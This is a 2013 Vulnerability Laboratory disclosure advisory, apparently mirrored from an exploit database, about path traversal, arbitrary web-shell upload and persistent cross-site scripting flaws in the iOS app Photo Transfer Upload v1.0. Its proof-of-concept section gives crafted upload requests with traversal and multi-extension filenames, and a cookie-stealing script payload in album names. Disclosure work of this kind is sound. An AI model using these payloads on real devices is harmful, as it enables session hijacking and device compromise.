扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 |
Title: ====== Photo Transfer Upload v1.0 iOS - Multiple Vulnerabilities Date: ===== 2013-08-16 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1047 VL-ID: ===== 1047 Common Vulnerability Scoring System: ==================================== 8.6 Introduction: ============= Photo Transfer Access and transfer all your photos between your iPhone/iPad and PC/Mac without 3rd party transfer utilities. It can easily access your photo libraries via wifi from any computer with a web browser(IE/Chrome/Safari) on the same wifi network, very easy to use! - Support drag & drop upload, easy to use - Transfer multiple photos and videos at once - Download photos and videos as zip archives - Crate new album - Password protection for the web access ( Copy of the Homepage: https://itunes.apple.com/us/app/photo-transfer-upload-download/id672205608 ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a persistent vulnerability in the Photo Transfer Upload v1.0 application (Apple iOS - iPad & iPhone). Report-Timeline: ================ 2013-08-16:Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Apple AppStore Product: Photo Transfer Upload - Mobile Application 1.0 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== 1.1 A local file/path include web vulnerability is detected in the Photo Transfer Upload v1.0 application (Apple iOS - iPad & iPhone). The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service. The vulnerability is located in the upload module when processing to upload files with manipulated filename values in the POST method request. The attacker can inject local path or files to request context and compromise the mobile device or web service. The validation has a bad side effect which impacts the risk to combine the attack with persistent injected script code. Exploitation of the local file include web vulnerability requires no user interaction or privilege application user account with password. Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application. Vulnerable Application(s): [+] Photo Transfer Upload v1.0 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] Upload (Files) - (http://localhost) Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing 1.2 An arbitrary file upload web vulnerability is detected in the Photo Transfer Upload v1.0 application (Apple iOS - iPad & iPhone). The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access. The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and extension image.jpg.js.php.jpg . The attacker needs to open the file in the web application and deletes the .jpg file extension to access the picture with elevated access rights. Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells. Vulnerable Application(s): [+] Photo Transfer Upload v1.0 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] Upload (Files) - (http://localhost) Vulnerable Parameter(s): [+] filename (multiple extensions) Affected Module(s): [+] Index File Dir Listing 1.3 A persistent input validation web vulnerability is detected in the Photo Transfer Upload v1.0 application (Apple iOS - iPad & iPhone). The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side). The vulnerability is located in the <code>Add Photo Album</code> module of the web-server interface (http://localhost) when processing to request via POST method manipulated <code>album names</code>. The album name will be changed to the path value without secure filter, encode or parse mechanism. The injected script code will be executed in the main index file dir folder listing of the mobile application. Exploitation of the persistent web vulnerability requires low user interaction and no privilege application user account with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or persistent module context manipulation. Vulnerable Application(s): [+] Photo Transfer Upload v1.0 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] Add Photo Album Vulnerable Parameter(s): [+] Album Name Affected Module(s): [+] Index Listing [+] Sub Category Listing Proof of Concept: ================= 1.1 The file/path include web vulnerability can be exploited by remote attackers without user interaction or privilege application user account. For demonstration or reproduce ... --- POST --- (Upload #1) POSTDATA =-----------------------------144252594127308 Content-Disposition: form-data; name="params" name:Camera%20Roll|url:95016B21-FEE4-43E5-802D-3891B9C6ACF4 -----------------------------144252594127308 Content-Disposition: form-data; name="newfile"; filename="><;../../var/mobile/x[FILE INCLUDE VULNERABILITY]" Content-Type: image/png ‰PNG - --- POST --- (LIST INDEX #1 #2) POSTDATA={"url":"ALL"} Note: After the file/path include the attacker can open the index module or sub category to execute the request. 1.2 The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privilege application user account. For demonstration or reproduce ... --- POST --- (Upload #2) POSTDATA =-----------------------------144252594127308 Content-Disposition: form-data; name="params" name:Camera%20Roll|url:95016B21-FEE4-43E5-802D-3891B9C6ACF4 -----------------------------144252594127308 Content-Disposition: form-data; name="newfile"; filename="pentester.jpg.html.js.php.asp.xml.jpg" Content-Type: image/png ‰PNG --- POST --- (LIST INDEX #1 #2) POSTDATA={"url":"ALL"} Note: After the file upload the attacker deletes the .jpg extension to access the injected webshell. 1.3 The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and also without user interaction. For demonstration or reproduce ... PoC:Index - Album Name <ul class="thumbnails" id="albums"><li class="album_warp"><a href="http://localhost/album.html?name=Camera%20Roll& url=assets-library://group/?id=D579B80C-B73D-4A16-9379-FB29A6CFC12C" class="thumbnail"> <img src="https://www.exploit-db.com/exploits/27656/Photo%20Transfer_files/-1886868417.PNG" class="album_image"><h5 class="album_title">Camera Roll</h5> <p class="album_desc">11 Photos</p></a></li><li class="album_warp"> <a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%222& url=assets-library://group/?id=68D6D844-02EB-45C9-AA9E-28255915C551" class="thumbnail"><img src="https://www.exploit-db.com/exploits/27656/Photo%20Transfer_files/placeholder.png" class="album_image"></a><h5 class="album_title"> <a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%222& url=assets-library://group/?id=68D6D844-02EB-45C9-AA9E-28255915C551" class="thumbnail">>"</a><div style="2</h5> <p class=" album_desc"=""><a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20 style=%222&url=assets-library://group/?id=68D6D844-02EB-45C9-AA9E-28255915C551" class="thumbnail">0 Photos<p></p></a></div></h5></li> <li class="album_warp"><a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221& url=assets-library://group/?id=C5231091-88C7-40E9-8C73-47FBEA7EBB65" class="thumbnail"><img src="https://www.exploit-db.com/exploits/27656/Photo%20Transfer_files/placeholder.png" class="album_image"></a><h5 class="album_title"><a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/ script%3E%3Cdiv%20style=%221&url=assets-library://group/?id=C5231091-88C7-40E9-8C73-47FBEA7EBB65" class="thumbnail">>"</a> <div style="1</h5><p class=" album_desc"=""><a href="http://localhost/album.html?name=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/ script%3E%3Cdiv%20style=%221&url=assets-library://group/?id=C5231091-88C7-40E9-8C73-47FBEA7EBB65" class="thumbnail">0 Photos<p> </p></a></div></h5></li></ul> Solution: ========= The vulnerability can be patched by a secure encoding or escapewhen processing to add via POST method request folders with manipulated names. Risk: ===== The security risk of the persistent input validation web vulnerability is estimated as medium(+). Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact:admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section:www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2013 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com |
体验盒子
